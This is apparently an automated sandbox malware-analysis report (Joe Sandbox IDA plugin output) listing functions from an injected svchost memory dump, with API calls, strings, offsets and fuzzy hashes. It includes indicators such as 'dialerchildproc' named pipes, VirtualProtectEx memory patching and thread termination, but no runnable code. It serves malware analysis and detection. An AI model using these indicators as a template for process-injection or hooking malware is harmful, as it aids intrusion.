API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: e41be534229163122c3179cc1025da5169d2b8c0ede0d6324f4ee0300e7142a4
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: BB81F772F1C26186F657AB2594413D967F0E78778CF548527AA0C8379FDB38C84D8B08

Function 00000179537ACE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000179537ACE37
FlsGetValue.KERNEL32(?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACE4C
FlsSetValue.KERNEL32(?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACE6D
FlsSetValue.KERNEL32(?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACE9A
FlsSetValue.KERNEL32(?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACEAB
FlsSetValue.KERNEL32(?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACEBC
SetLastError.KERNEL32 ref: 00000179537ACED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACF0D
FlsSetValue.KERNEL32(?,?,00000001,00000179537AECCC,?,?,?,?,00000179537ABF9F,?,?,?,?,?,00000179537A7AB0), ref: 00000179537ACF2C

Part of subcall function 00000179537AD6CC: HeapAlloc.KERNEL32 ref: 00000179537AD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACF54

Part of subcall function 00000179537AD744: HeapFree.KERNEL32 ref: 00000179537AD75A
Part of subcall function 00000179537AD744: GetLastError.KERNEL32 ref: 00000179537AD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000179537B0A6B,?,?,?,00000179537B045C,?,?,?,00000179537AC84F), ref: 00000179537ACF76

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 77b7efc725698ca54b94f8a3bbd63b6bf6571e27a76a959dc314b8d8e9e59c42
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: FA41D370F2C27951FA2BA73149553E923B15B477BCF1C4737A83E867DADE28C4494200

Function 00000179537A2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000179537A2259
GetCurrentProcessId.KERNEL32 ref: 00000179537A2263

Part of subcall function 00000179537A1934: OpenProcess.KERNEL32 ref: 00000179537A1952
Part of subcall function 00000179537A1934: IsWow64Process.KERNEL32 ref: 00000179537A1968
Part of subcall function 00000179537A1934: CloseHandle.KERNEL32 ref: 00000179537A1983

CreateFileW.KERNEL32 ref: 00000179537A22BC
WriteFile.KERNEL32 ref: 00000179537A22E4
ReadFile.KERNEL32 ref: 00000179537A2303
CloseHandle.KERNEL32 ref: 00000179537A230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000179537A228C
\\.\pipe\dialerchildproc32, xrefs: 00000179537A2293

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: bf197e0ffd1960bdac6007c57ce7df944ff2740a99a669adc726ba4408a275dc
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 06214F32A1876482FB118B25F45479973B1F78ABA8F504216EB9D03BA8DF3CC14DCB04

Function 0000017953779944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000179537799A1

Part of subcall function 000001795377A814: __GetUnwindTryBlock.LIBCMT ref: 000001795377A857
Part of subcall function 000001795377A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001795377A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000017953779A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000017953779CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000017953779DDA

Strings

csm, xrefs: 0000017953779A22
csm, xrefs: 0000017953779A9C
csm, xrefs: 00000179537799BB

Memory Dump Source

Source File: 00000023.00000002.3072736985.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_17953770000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: c1e37324251eb8afeee7f02a8d197e06ab5e66d9bdec95cbde6af93207a2d4f1
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 68E18972A0ABA08AEB629B65D4813DD77F0F747B9CF100116EE8D57B9ACB34D499C700

Function 00000179537AA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000179537AA5A1

Part of subcall function 00000179537AB414: __GetUnwindTryBlock.LIBCMT ref: 00000179537AB457
Part of subcall function 00000179537AB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000179537AB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000179537AA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000179537AA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000179537AA9DA

Strings

csm, xrefs: 00000179537AA5BB
csm, xrefs: 00000179537AA69C
csm, xrefs: 00000179537AA622

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 48bad793c3cf8a064d8991e65e6d6caa703c72e63802b69e7c4d4fa44d5e9957
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: DCE18E72A28BA48AEBA2DF65D4803DD77B0F746B9CF100116EE8D57B95CB34C599CB00

Function 00000179537AF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00000179537AF510
GetProcAddress.KERNEL32 ref: 00000179537AF51C

Strings

api-ms-, xrefs: 00000179537AF45A
ext-ms-, xrefs: 00000179537AF46D

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 6d28e7484422e4a57a06ac6147cde09464f9819a0b3aea55b6358727e73b2730
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 3C41B532B2DA2091FB17DB66AC147D523B1BB46BA8F1941279D2E87784EF38C44DC324

Function 00000179537A104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000179537A10B1
RegEnumValueW.ADVAPI32 ref: 00000179537A1117
GetProcessHeap.KERNEL32 ref: 00000179537A115A
HeapAlloc.KERNEL32 ref: 00000179537A1168
GetProcessHeap.KERNEL32 ref: 00000179537A1185
HeapFree.KERNEL32 ref: 00000179537A1193

Strings

d, xrefs: 00000179537A10D6

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 4d0dabdc3bb95f01b52548fecc3f9169e00d7fa873fa5b6aedad960dda8fc516
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 8E416C73618B94C6E761CF21E45479A77B1F389B9CF44812AEB8947B58EF38C489CB00

Function 00000179537AD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000179537AC7DE,?,?,?,?,?,?,?,?,00000179537ACF9D,?,?,00000001), ref: 00000179537AD087
FlsSetValue.KERNEL32(?,?,?,00000179537AC7DE,?,?,?,?,?,?,?,?,00000179537ACF9D,?,?,00000001), ref: 00000179537AD0A6
FlsSetValue.KERNEL32(?,?,?,00000179537AC7DE,?,?,?,?,?,?,?,?,00000179537ACF9D,?,?,00000001), ref: 00000179537AD0CE
FlsSetValue.KERNEL32(?,?,?,00000179537AC7DE,?,?,?,?,?,?,?,?,00000179537ACF9D,?,?,00000001), ref: 00000179537AD0DF
FlsSetValue.KERNEL32(?,?,?,00000179537AC7DE,?,?,?,?,?,?,?,?,00000179537ACF9D,?,?,00000001), ref: 00000179537AD0F0

Strings

Y%, xrefs: 00000179537AD0A6
1%, xrefs: 00000179537AD0CE

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: b0a3c49dc6ef7a53409216961fbfbc30d008a76d59ac91324fc92d9a86fd0cd9
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: C311C870F2C26841FA6B673699613EA63715B473FCF144337A83D477EADE28C54A8200

Function 00000179537A7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000179537A7538
__scrt_acquire_startup_lock.LIBCMT ref: 00000179537A758A
_RTC_Initialize.LIBCMT ref: 00000179537A75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000179537A75DE
__scrt_release_startup_lock.LIBCMT ref: 00000179537A7609

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 03549ce5a8bfb50d1d2883e7ce9a3f420bf030cad668bfca8cca14f47c08375e
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: CD81B531E2C2E146FB57ABA994513D923F2AB4778CF5444A7EA4CC7796EB38C44D8700

Function 00000179537A9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000179537A9E49
GetLastError.KERNEL32 ref: 00000179537A9E57
LoadLibraryExW.KERNEL32 ref: 00000179537A9E81
FreeLibrary.KERNEL32 ref: 00000179537A9EC7
GetProcAddress.KERNEL32 ref: 00000179537A9ED3

Strings

api-ms-, xrefs: 00000179537A9E69

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 1c35a6318a95a9f66357ff113d1e6293aa460ab4329f98c61122d8ffc54845e1
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 5731D832B2E664E1EE13DB02A400BD963F4B74BBA8F5905279D5E47791EF38C45D8300

Function 00000179537B3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000179537B3DE5
GetLastError.KERNEL32 ref: 00000179537B3DF1
CloseHandle.KERNEL32 ref: 00000179537B3E09
CreateFileW.KERNEL32 ref: 00000179537B3E34
WriteConsoleW.KERNEL32 ref: 00000179537B3E53

Strings

CONOUT$, xrefs: 00000179537B3E15

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 1d5e788c20f4153e52296bcb8cadabdf0028e11074e208d04bdcdd6a952d3e19
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 1C11C431B18BA482F7518B52E864359B3B4F389FE8F044226EA9E87794EF38C4488744

Function 00000179537A3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000179537A379E
GetCurrentProcess.KERNEL32 ref: 00000179537A37CC
VirtualProtectEx.KERNEL32 ref: 00000179537A37EE
GetCurrentProcess.KERNEL32 ref: 00000179537A3809
VirtualProtectEx.KERNEL32 ref: 00000179537A382A

Strings

wr, xrefs: 00000179537A37FF

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 5fea20ec1214d5790932143d42f439680bcd659adb70575157f6ec8973a68838
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 76115E36B1875582FF159F52E4186A963B4FB4AB89F44002ADF8D07B54EF3DC509C714

Function 00000179537A5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000179537A5B6B
GetThreadContext.KERNEL32 ref: 00000179537A5CD5

Part of subcall function 00000179537A5960: GetCurrentThreadId.KERNEL32 ref: 00000179537A5964

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 24d1bd52570d84dc27a6b3ebe3a983c1cff3cda0c085934ba3b1615b2ee42aa2
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: B5D1A876619B9882DA71DB1AE49039A77B0F3C9B98F100117EACD47BA9DF3CC555CB00

Function 00000179537A2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A2F27
HeapAlloc.KERNEL32 ref: 00000179537A2F3A
StrCmpNIW.SHLWAPI ref: 00000179537A2FAF
GetProcessHeap.KERNEL32 ref: 00000179537A3015
HeapFree.KERNEL32 ref: 00000179537A3023

Strings

dialer, xrefs: 00000179537A2FA8

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 59910d8593d4568c8529067d3d7f690041ca8a68c9534a4d3212bb0acc98c89f
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 12319232B19B65C2FA56DF56E5407AA67B1FB46B88F084022DF8C47B55EF34C4A98700

Function 00000179537ACFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000179537ACFAF
FlsSetValue.KERNEL32(?,?,?,00000179537AD6B5,?,?,?,?,00000179537AD778), ref: 00000179537ACFE5
FlsSetValue.KERNEL32(?,?,?,00000179537AD6B5,?,?,?,?,00000179537AD778), ref: 00000179537AD012
FlsSetValue.KERNEL32(?,?,?,00000179537AD6B5,?,?,?,?,00000179537AD778), ref: 00000179537AD023
FlsSetValue.KERNEL32(?,?,?,00000179537AD6B5,?,?,?,?,00000179537AD778), ref: 00000179537AD034
SetLastError.KERNEL32 ref: 00000179537AD04F

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 8609c7cee23a4da2cb73d7b9a2e9104af3180433e72c296c04d1e0e8fdc5031b
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: C811A270B2C26881FA2BA73259653E923715B477FCF144327A83E477DAEE28C5499200

Function 00000179537A199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000179537A19C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000179537A19E0
PathFindFileNameW.SHLWAPI ref: 00000179537A19EF
lstrlenW.KERNEL32 ref: 00000179537A19FB
StrCpyW.SHLWAPI ref: 00000179537A1A0E
CloseHandle.KERNEL32 ref: 00000179537A1A1C

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 56b2cd84fcc0e7ced0197c83fadfe9882c07905c38d9d912c2a518943b9c5019
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 51016931B08A5482FB11DB52A8A879963B5F789BC8F888036DE8D43754EF3CC98DC704

Function 00000179537A36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000179537A36E4
GetCurrentProcess.KERNEL32 ref: 00000179537A36F2
VirtualProtectEx.KERNEL32 ref: 00000179537A3714
GetCurrentProcess.KERNEL32 ref: 00000179537A3732
VirtualProtectEx.KERNEL32 ref: 00000179537A3753
TerminateThread.KERNEL32 ref: 00000179537A3762

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: d2470d701e98e81108f06155ee65d957e7b349e728d52e6fd90ae972be3b8938
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: DD012D75B1975882FF269B62E86879573B0FB5AB8AF04042ACE8D07754EF3DC50C8704

Function 00000179537A9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000179537A9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000179537A90A8
RtlUnwindEx.NTDLL ref: 00000179537A90F7

Strings

csm, xrefs: 00000179537A908E
f, xrefs: 00000179537A9026

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 523c0386b4c626f6db8f57a49f1f760a6df895bac009b115f0e0608c5af323b5
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 0E51B232B2962886EB56DF15E448B9D37B6F347B8CF108126DA0E47788EB75CC59C704

Function 00000179537A8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000179537A9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000179537A90A8
RtlUnwindEx.NTDLL ref: 00000179537A90F7

Strings

csm, xrefs: 00000179537A908E
f, xrefs: 00000179537A9026

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 296e92441388b6fc06103b0115ebcdacb288d64441a59e498690bc521cbf3a7d
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 5531E032A2866896E716DF21E84879E37B4F743BCCF148016EE4E43788DB39C968C704

Function 00000179537A1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000179537A1A60
StrCmpNIW.SHLWAPI ref: 00000179537A1A7A
lstrlenW.KERNEL32 ref: 00000179537A1A89
StrCpyW.SHLWAPI ref: 00000179537A1A9E

Strings

\\?\, xrefs: 00000179537A1A6E

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: de33d0b7403191fafe040a8392dc9819e369d541baf2522363be2d8de6ed28d3
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 65F03C72B1865592FB618F21E8D479A6771F749B8CF848022DA8D46A58EB2CC68DCB00

Function 00000179537ABC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000179537ABCBD
GetProcAddress.KERNEL32 ref: 00000179537ABCD3
FreeLibrary.KERNEL32 ref: 00000179537ABCFA

Strings

mscoree.dll, xrefs: 00000179537ABCB4
CorExitProcess, xrefs: 00000179537ABCCC

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: f286dd60a5522db936dfed800217cc6c1f6d92c6ac24c710919bdd42c6a300c2
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 83F09671B2971481FB158B29E8647D96370EB8AB69F54021BCAAE463E4EF3CC44CC300

Function 00000179537A3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000179537A3066
StrCpyW.SHLWAPI ref: 00000179537A3076
StrCatW.SHLWAPI ref: 00000179537A3082
PathCombineW.SHLWAPI ref: 00000179537A3090

Strings

\\.\pipe\, xrefs: 00000179537A305C

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
